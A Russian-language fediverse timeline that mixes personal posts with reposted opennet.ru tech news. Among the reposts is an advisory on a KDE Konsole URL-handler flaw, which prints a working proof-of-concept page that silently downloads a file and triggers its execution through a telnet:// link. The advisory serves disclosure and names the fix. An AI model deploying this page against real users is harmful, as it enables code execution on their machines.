Мы просим студентов читать, размышлять, писать и обсуждать идеи. Все это служит нашей цели — помочь им стать критически настроенными гражданами. GenAI может имитировать все шаги (...). Но это все равно, что пойти в спортзал и попросить робота поднять для вас тяжести
Опубликован защищённый дистрибутив Securonis Linux 3.0 Развиваемые проектом специфичные утилиты:
В новой версии:
Источник: https://www.opennet.ru/opennews/art.shtml?num=63412
Выпуск дистрибутива для исследователей безопасности Kali Linux 2025.2 Kali предлагает подборку инструментов для специалистов в области компьютерной безопасности, включающую от средств для тестирования web-приложений и проникновения в беспроводные сети до программ для считывания данных с идентификационных RFID чипов. В комплект входит коллекция эксплоитов и около 400 специализированных утилит для проверки безопасности, таких как Aircrack, Maltego, SAINT, Kismet, Bluebugger, Btcrack, Btscanner, Nmap, p0f. Помимо этого, в дистрибутив входят средства для подбора паролей (Multihash CUDA Brute Forcer) и WPA ключей (Pyrit), использующие GPU NVIDIA и AMD для ускорения.
В новом выпуске:
В состав включены утилиты:
В новой версии реализована возможность проведения атак на Wi-Fi, подстановки кадров и захвата параметров согласования соединения WPA2, используя умные часы на базе чипов bcm43436b0, такие как TicWatch Pro 3. Обновлён инструментарий CARsenal (ранее CAN Arsenal) для осуществления атаки на автомобильные информационные системы. Обновлены варианты ядра для смартфонов
Xiaomi Redmi 4/4X (A13), Xiaomi Redmi Note 11 (A15), Realme C15 (A10), Samsung Galaxy S10 (A14,A15/exynos9820) и Samsung Galaxy S9.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63411
contrinitiator
honked back 16 Jun 2025 13:35 +0200
in reply to: https://mastodon.social/users/coolingfan375/statuses/114692525389920834
contrinitiator
bonked 16 Jun 2025 12:01 +0200
original: coolingfan375@mastodon.social
contrinitiator
honked back 16 Jun 2025 11:17 +0200
in reply to: https://mastodon.ml/users/limping/statuses/114692259036719182
contrinitiator
honked back 16 Jun 2025 11:03 +0200
in reply to: https://lastfree.space/objects/30d21f2a-1968-4fda-2bcf-a5f917957915
contrinitiator
honked back 16 Jun 2025 11:00 +0200
in reply to: https://friends.deko.cloud/objects/d0446be5-1868-4fdc-4454-a8c415642765
@shuro @ludivokrug Так и есть, сломанный автобус, несущийся в пропасть, да ещё под управлением сумасшедшего водителя, который ещё и при смерти. И "зумеры" это очень хорошо чувствуют.
j2k25 hackathon report from kn@: installer, low battery, and more Fresh from the recently concluded
j2k25 hackathon comes this report from Klemens Nanni ( New country, lots of ramen, friends and new folks - heck, yes! Having missed the last four (our five?, hard to tell…) hackathons,
j2k25 aligned just right to finish our holidays with beautiful sights
and culinary delights between streaks of hacking, leaving all else
aside for a solid week - it was refreshing retreat and sparked plans
to make another, even longer trip through Japan! This time, I brought a few unfished and/or unanswered diffs, but also
specifically wanted to look into unfamiliar code, now that folks were
around to ask for advice and discuss with. First, the installer and
kn@
), who writes:
rc(8)
were due for cleanup: common code for
randomness seed files used by bootloaders and rc
seemed unnecessarily
different, so I synced their logic, style and comments wrt. subtle,
yet important details around the sticky(8)
bit:
contrinitiator
honked back 16 Jun 2025 10:33 +0200
in reply to: https://lastfree.space/objects/30d21f2a-6868-4fbe-ba1e-665776470212
contrinitiator
honked back 16 Jun 2025 10:30 +0200
in reply to: https://mastodon.ml/users/limping/statuses/114674755970861770
re: А кто разбирается в ножах и стали?
@limping Есть стали, которые плохо поддаются заточке. Но тут возможно затачивать и не надо, достаточно поправить каким-нибудь мусатом (зависит от того, что есть под рукой). А брать ли в поход - это смотря для чего, если нарезать продукты, то пойдёт.re: А кто разбирается в ножах и стали?
contrinitiator
bonked 16 Jun 2025 09:29 +0200
original: Konstantin@pixelfed.de
Старая узкоколейка.
Витебщина, Беларусь.
#photography #WTphoto #nature #travel #landscape #by #природа #пейзаж #путешествия
contrinitiator
honked back 16 Jun 2025 08:59 +0200
in reply to: https://friends.deko.cloud/objects/d0446be5-1068-4fba-2885-c36569586827
contrinitiator
honked 16 Jun 2025 08:23 +0200
Отличная вещь для ремонта автомобилей!
contrinitiator
honked back 16 Jun 2025 08:23 +0200
in reply to: https://lastfree.space/objects/30d21f2a-1468-4fa8-f5f0-147097749348
continue
bonked 15 Jun 2025 23:00 +0200
original: gusev@mastodon.ml
Уязвимость в KDE Konsole, позволяющая выполнить код при открытии страницы в браузере Для Konsole по умолчанию в KDE регистрируется сервис KTelnetService (ktelnetservice6.desktop), подключающий обработчики открываемых в бразузере URL-схем telnet://, rlogin:// и ssh://. При обработке данных схем в эмуляторе терминала запускаются утилиты telnet, rlogin и ssh, которым передаётся указанный в ссылке путь.
Уязвимость вызвана тем, что в случае, когда в системе не установлена утилита telnet, rlogin или ssh, Konsole при вызове соответствующего обработчика URL запускал командный интерпретатор bash. Например, если отсутствует telnet при открытии в браузере ссылки "telnet:///proc/self/cwd/Downloads/evil" в Konsole запускался "/bin/bash /proc/self/cwd/Downloads/evil". По аналогии можно совершить атаку на обработчики rlogin:// и ssh:// при отсутствии в системе утилит rlogin и ssh.
Эксплуатации уязвимостей сопутствует то, что в конфигурации по умолчанию современные версии Firefox и Chrome автоматически сохраняют инициированные для загрузки файлы, не вывода запрос пользователю, а лишь показывая уведомление о факте состоявшейся загрузки. В Firefox подобное поведение можно отключить выставив настройку "Always ask you where to save files" на странице конфигуратора "General › Files and Applications". Как правило, файлы сохраняются в каталог ~/Downloads, на который не зная имени текущего пользователя можно сослаться через файловый путь "/proc/self/cwd/Downloads/".
Ниже показан пример JavaScript-кода, при выполнении которого в браузере в окружениях KDE с Konsole у пользователя будут выполнены команды "echo "Hello world"; touch /tmp/foobar" (в примере они закодированы в строке "data:;base64,ZWNobyAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg=="). Предложенный код формирует ссылку с интегрированными данными, симулирует клик на эту ссылку и перебрасывает пользователя на URL "telnet://...". Для работы в Chrome следует изменить имя файла в ссылке на evil.txt, так как Chrome автоматически добавляет расширение txt.
В Firefox при попытке перехода по ссылке "telnet://" по умолчанию будет выведен запрос для подтверждения операции у пользователя. В случае согласия KTelnetService запустит команду:
Если в системе нет утилиты telnet, Konsole откатится на запуск bash вместо telnet, передав изначально указанный в командной строке аргумент.
Проблема устранена в выпуске Konsole 25.04.2, вошедшем в состав обновления KDE Gear 25.04.2. Проследить за устранением уязвимости в дистрибутивах можно на следующих страницах: Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Arch, FreeBSD. В качестве обходных путей для блокирования уязвимости можно установить утилиты telnet, rlogin и ssh или удалить файл /usr/share/applications/ktelnetservice6.desktop.
‹html›
‹head›
‹script type="text/javascript"›
function downloadAndRedirect() {
const anchor = document.createElement('a');
anchor.href = "data:;base64,ZWNobyAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg==";
anchor.download = 'evil';
document.body.appendChild(anchor);
anchor.click();
document.body.removeChild(anchor);
setTimeout(() =› {
window.location.href = "telnet:///proc/self/cwd/Downloads/evil";
}, 1000);
}
‹/script›
‹/head›
‹body onload="downloadAndRedirect()"›
‹/body›
‹/html›
/usr/bin/konsole --noclose -e telnet /proc/self/cwd/Downloads/evil
Источник: https://www.opennet.ru/opennews/art.shtml?num=63410
contrinitiator
honked 15 Jun 2025 13:57 +0200
Главная надежда теперь на то, что снять материал съёмочная группа не успела!
Съемочная группа сериала Фёдора Бондарчука «Трудно быть богом» покинула Иран через сухопутную границу Азербайджана в ночь на 14 июня.
Госучреждения Дании уходят от продуктов Microsoft в пользу открытого ПО Решения отказаться от использования Microsoft в роли основного поставщика ИТ-услуг также приняли муниципальные власти Копенгагена и Орхуса. В качестве причин перехода упоминаются финансовые предпосылки, нахождение в зависимости от компании, занимающей почти монопольное положение на рынке, и ухудшение геополитического климата из-за высказываний президента США о желании получить контроль над Гренландией. Финансовые предпосылки связаны с тем, что расходы на покупку ПО Microsoft за пять лет увеличились на 72% - с 313 миллионов крон в 2018 году до 538 миллионов крон в 2023 году.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63398
continue
bonked 15 Jun 2025 09:23 +0200
original: kidchai@mastodon.ml
Район Kensington Market клёвый. Очень живой, красочный и эклетичный. Много муралов и встроенных в город арт-объектов. Маленькие магазинчики, едальни разных кухнонь, уличные прилавки, где мастера торгуют своими изделиями, лавочки с этническими продуктами, секонды.
Проект Nitrux прекращает разработку рабочего стола NX Desktop в пользу Hyprland Одновременно упоминается о приостановке разработки собственной оболочки Maui Shell, так как проект столкнулся с нехваткой ресурсов и отсутствием интереса к разработке со стороны участников из сообщества. Ранее решено было не переводить NX Desktop на технологии KDE Plasma 6 и развивать собственную новую оболочку Maui Shell, которая со временем должна была заменить NX Desktop, но ситуация изменилась.
В соответствии с новым планом, дистрибутив Nitrux будет переведён на пользовательское окружение, построенное при помощи композитного сервера Hyprland, панели Waybar и меню завершения работы в системе Wlogout. Вместо дисплейного менеджера SDDM для запуска сеанса будут задействован менеджер входа greetd и экран входа QtGreet.
Композитный сервер Hyprland использует Wayland, поддерживает мозаичную (tiling) компоновку окон, классическое произвольное размещение окон, группировку окон в форме вкладок, псевдомозаичный режим и полноэкранное раскрытие окон. Среди возможностей: динамически создаваемые виртуальные рабочие столы; режимы компоновки элементов на экране; глобальная обработка горячих клавиш; управление жестами на тачпаде/сенсорном экране; средства для визуально насыщенных интерфейсов (градиенты в обрамлении окон, размытие фона, анимационные эффекты и тени); расширение через плагины.
Пакет с ядром Linux в дистрибутиве Nitrux решено перевести с использования патчей Liquorix на вариант ядра от проекта CachyOS. Причиной стало отсутствие в Liquorix патча для включения механизма PSI (Pressure Stall Information), позволяющего в пространстве пользователя анализировать сведения о времени ожидания получения различных ресурсов (CPU, память, ввод/вывод) для точной оценки уровня загруженности системы и характера замедления работы. Поддержка PSI необходима для работы Waydroid, прослойки для запуска Android-приложений.
Для установки дополнительных программ будут задействован инструментарий NX AppHub и формат AppBox, которые теперь преподносятся как более предпочтительные, по сравнению с пакетами AppImage. Обновления дистрибутива планируют публиковать два раза в месяц. Для установки обновлений продолжит использоваться утилита nuts (Nitrux Update Tool System). Из более отдалённых планов на будущее отмечена замена SquashFS на DwarFS и создание сборок для устройств ARM64, помимо ранее поддерживаемой архитектуры x86_64.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63408
continue
bonked 14 Jun 2025 22:15 +0200
original: kidchai@mastodon.ml
Пью canadian boreal tea, про который мне рассказали, что он без кофеина и что вообще старый напиток, который тут ещё до колонизаторов пили. Делают его из листьев fireweed. Пошла я гуглить, что это такое … чуваки, в Канаде пьют ИВАН-ЧАЙ! 💖
continue
bonked 14 Jun 2025 22:09 +0200
original: contrinitiator@honk.any-key.press
По колеям бывших узкоколеек, по земляничным полянам, вдоль сокрытых за дачными участками братских могил, вдоль бывших торфяных и песочных карьеров, превратившихся в полноценные озёра, с таинственными островками, на которых гнездятся чайки и утки, а неизвестное существо плюхается в воду за твоей спиной. По рабочим дорогам, вымощенным кирпичами и мрамором, по деревянному настилу через волшебный лес до старой аллеи, где прячутся рыжие бельчата и стоит очень старый дуб.
contrinitiator
honked back 14 Jun 2025 22:01 +0200
in reply to: https://honk.any-key.press/u/contrinitiator/h/JC3PT243d8dnF8djd5
Действительно, чем-то похоже на курятину.
contrinitiator
honked 14 Jun 2025 21:43 +0200
По колеям бывших узкоколеек, по земляничным полянам, вдоль сокрытых за дачными участками братских могил, вдоль бывших торфяных и песочных карьеров, превратившихся в полноценные озёра, с таинственными островками, на которых гнездятся чайки и утки, а неизвестное существо плюхается в воду за твоей спиной. По рабочим дорогам, вымощенным кирпичами и мрамором, по деревянному настилу через волшебный лес до старой аллеи, где прячутся рыжие бельчата и стоит очень старый дуб.
contrinitiator
honked 14 Jun 2025 20:27 +0200
Обнаружил такие нежные серно-жёлтые трутовики, что не удержался, набрал пакет и пожарил в сметане (после отваривания).
#грибы
В KDE добавлена поддержка Wayland-протокола xdg-pip
Источник: https://www.opennet.ru/opennews/art.shtml?num=63407
Выпуск Wine 10.10 и DXVK 2.6.2 Наиболее важные изменения:
Дополнительно можно отметить выпуск прослойки DXVK 2.6.2, предоставляющей реализацию DXGI (DirectX Graphics Infrastructure), Direct3D 8, 9, 10 и 11, работающую через трансляцию вызовов в API Vulkan. Для использования DXVK требуется наличие драйверов с поддержкой API Vulkan 1.3. DXVK может применяться для запуска 3D-приложений и игр в Linux при помощи Wine, выступая в качестве более высокопроизводительной альтернативы встроенных в Wine реализаций Direct3D, работающих поверх OpenGL.
В новой версии DXVK:
Источник: https://www.opennet.ru/opennews/art.shtml?num=63406
continue
bonked 14 Jun 2025 08:56 +0200
original: lobsters@mastodon.social
Прекращена разработка библиотеки управления памятью jemalloc В 2009 году автор jemalloc перешёл на работу в компанию Facebook, в которой данная библиотека использовалась во внутренних проектах. В 2017 году автор jemalloc уволился из Facebook, а разработка была продолжена оставшейся командой из Facebook. После переименования в Meta приоритеты компании изменились, развитие библиотеки застопорилось и разработка сосредоточилась только на внутренних потребностях. Общедоступная кодовая база со временем деградировала и для устранения накопленного технического долга теперь требуется проведение значительного рефакторинга. Автор jemalloc не готов тратить своё время на подобный рефакторинг и поэтому решил свернуть разработку.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63405
В состав Wayland-Protocols 1.45 включено 4 новых протокола (два в категории "staging" и два экспериментальных):
Все протоколы последовательно проходят фазы разработки, тестирования и стабилизации. После завершения стадии разработки (категория "unstable") протокол помещается в ветку "staging" и официально включается в состав набора wayland-protocols, а после завершения тестирования перемещается в категорию стабильных. Протоколы из категории "staging" уже можно применять в композитных серверах и клиентах, где требуется связанная с ними функциональность. В отличие от категории "unstable" в "staging" запрещено внесение изменений, нарушающих совместимость, но в случае выявление проблем и недоработок в ходе тестирования, не исключается замена новой значительной версией протокола или другим Wayland-расширением.
Для ускорения доведения протоколов до разработчиков и стимулирования ранней реализации протоколов в существующих проектах, начиная с позапрошлого выпуска дополнительно была добавлена фаза "experimental", в которой допускается внесение изменений, нарушающих совместимость, и добавление "сырых" протоколов, которые можно постепенно доводить до должного уровня. Если для попадания протокола в фазу "staging" требуется сформировать команду поддержки и получить определённое число подтверждений (ACK) от участников рецензирования, то для попадания в "experimental" достаточно отсутствия возражений (NACK) в течение двухнедельного периода рецензирования.
В настоящее время в состав набора wayland-protocols входят следующие стабильные протоколы, в которых обеспечивается обратная совместимость:
Протоколы, тестируемые в ветке "staging":
Протоколы, разрабатываемые в ветке "unstable":
Источник: https://www.opennet.ru/opennews/art.shtml?num=63404
continue
honked back 13 Jun 2025 19:59 +0200
in reply to: https://mastodon.ml/users/kidchai/statuses/114676701781745972
Удачного перелёта и интересного путешествия! Антуан де Сент-Экзюпери, "Москва. По пути в Советский Союз".
И все-таки каждый смутно чувствует сокровенную суть путешествия. Для всех нас в нем есть что-то похожее на свидание, незнакомая женщина движется нам навстречу. Она не видна в толпе, мы должны ее отыскать. Женщина неотличима пока от всех других. И кто знает, может быть, нам придется заговорить с тысячью женщин, потерять понапрасну время и все-таки не встретиться с той, которая бы открылась нам, потому что мы не сумели ее угадать. Да. Именно таково путешествие.
continue
bonked 13 Jun 2025 19:53 +0200
original: johan@cr8r.gg
Друже! Кто из Нижнего (не мира, но Новгорода). Поможите вписать камрада @yakhtov на ночь 😉 Не в смысле прям к себе, хостел и посуточно тож сгодится, но поиском всё занято и засрано «авитологами» 😔 @rf
@ru@lor.sh
@Russia
@russian_mastodon
dhcpd(8): use UDP sockets instead of BPF
The motivation is summarized as,
and the full message,
with the subject dhcpd(8): use UDP sockets instead of BPF reads,
dhcpd(8)
is not quite as reliable as one would want in providing the requested
data to the actual requestor.
After some rounds of discussion and experimentation,
David Gwynne (dlg@
) is circulating a
diff
on tech@
that switches the daemon to use
UDP
sockets instead of
bpf.
tl;dr this replaces bpf with udp sockets in dhcpd, mostly to make it
better at replying with the ip that requests were sent to.
List: openbsd-tech
Subject: dhcpd(8): use UDP sockets instead of BPF
From: David Gwynne <david () gwynne ! id ! au>
Date: 2025-06-13 3:29:20
tl;dr this replaces bpf with udp sockets in dhcpd, mostly to make it
better at replying with the ip that requests were sent to.
ive been hacking on this because of a problem at work, which i want to
solve by setting up a bunch of "anycast" dhcp servers. ie, i want to
have multiple dhcpd on separate servers with the same IP assigned
as an alias on all of them.
Google прекратил публикацию кода для поддержки устройств Pixel в репозитории с кодом Android Отмечается, что отсутствие подобных компонентов существенно усложнит разработку альтернативных сборок Android. Если раньше разработчики альтернативных прошивок могли легко собрать и загрузить AOSP для устройств Pixel, то теперь им придётся выполнять обратный инжиниринг бинарных файлов из прошивок для определения изменений по сравнению с ранее опубликованными спецификациями DeviceTree. В текущем виде Android 16 не может быть собран из репозитория AOSP для смартфонов Pixel, используя только официально предоставляемые компоненты.
В AOSP продолжена публикация кода ядра Linux для поддержки оборудования, но теперь эти изменения доступны в форме среза без истории коммитов. AOSP также можно использовать для формирования общих сборок GSI (Generic System Image), но для их адаптации к конкретным устройствам требуются DeviceTree-файлы, которые теперь не публикуются для смартфонов Google Pixel. DeviceTree определяет спецификацию аппаратной начинки, используемые периферийные устройства и компоненты, необходимые для сборки образа прошивки для конкретного устройства.
Разработчики проекта GrapheneOS, развивающего редакцию Android с изменениями для усиления безопасности и обеспечения конфиденциальности, сообщили, что в апреле по неофициальным каналам до них дошли сведения о том, что в Google началась работа по урезанию AOSP, и первым шагом станет прекращение публикации кода для поддержки устройств в Android 16. На этом фоне появились спекуляции на тему прекращения поддержки репозитория AOSP.
Сэнг Чау (Seang Chau), вице-президент Google, отвечающий за платформу Android, ответил, что слухи относительно сворачивания репозитория AOSP не соответствуют действительности. Код продолжит публиковаться в AOSP и Android останется открытой платформой, пригодной для адаптации к новым устройствам, SoC и аппаратным архитектурам. При этом AOSP не хватает гибкого, настраиваемого и дешёвого эталонного устройства для тестирования системы, не привязанного к конкретным аппаратным устройствам, таким как Google Pixel. В качестве такого эталонного устройства для AOSP предлагается использовать открытое виртуальное устройство Cuttlefish. Кроме того, для тестирования и разработки Android оставлена возможность использования базовых образов GSI (Generic System Image), собранных из AOSP и не привязанных к конкретным устройствам.
Источник: https://www.opennet.ru/opennews/art.shtml?num=63399